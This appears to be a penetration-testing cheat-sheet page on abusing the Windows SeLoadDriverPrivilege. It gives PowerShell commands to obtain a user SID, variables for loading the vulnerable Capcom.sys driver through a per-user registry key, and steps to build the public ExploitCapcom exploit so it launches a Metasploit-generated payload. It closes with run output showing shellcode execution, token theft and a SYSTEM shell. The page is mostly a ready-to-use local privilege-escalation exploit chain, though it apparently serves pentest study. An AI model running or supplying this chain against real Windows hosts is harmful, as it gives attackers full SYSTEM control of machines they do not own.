> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/common-exploits/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/common-exploits/windows-exploits/seloaddriverprivilege.md).

# SeLoadDriverPrivilege

## Methodology using PS and visual studio:

### Obtain user SID

```
Get-ADUser -Identity 'USER' | select SID
[OR]
(New-Object System.Security.Principal.NTAccount("USER")).Translate([System.Security.Principal.SecurityIdentifier]).value
```

### Set vars

```
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
```

### Github Repo: <https://github.com/tandasat/ExploitCapcom/>

```
# cloned in vs-code
# file ExploitCapcom.cpp
# line 410
TCHAR CommandLine[] = TEXT("C:\\kashz\\kashz.exe");
Build Solution > ExploitCapcom.exe

# build and generate kashz.exe using msf
```

### Run

```
*Evil-WinRM* PS C:\kashz> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000080
[*] Shellcode was placed at 0000024737490008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
```

## Reference:

* <https://book.hacktricks.xyz/windows/active-directory-methodology/privileged-accounts-and-token-privileges#seloaddriverprivilege>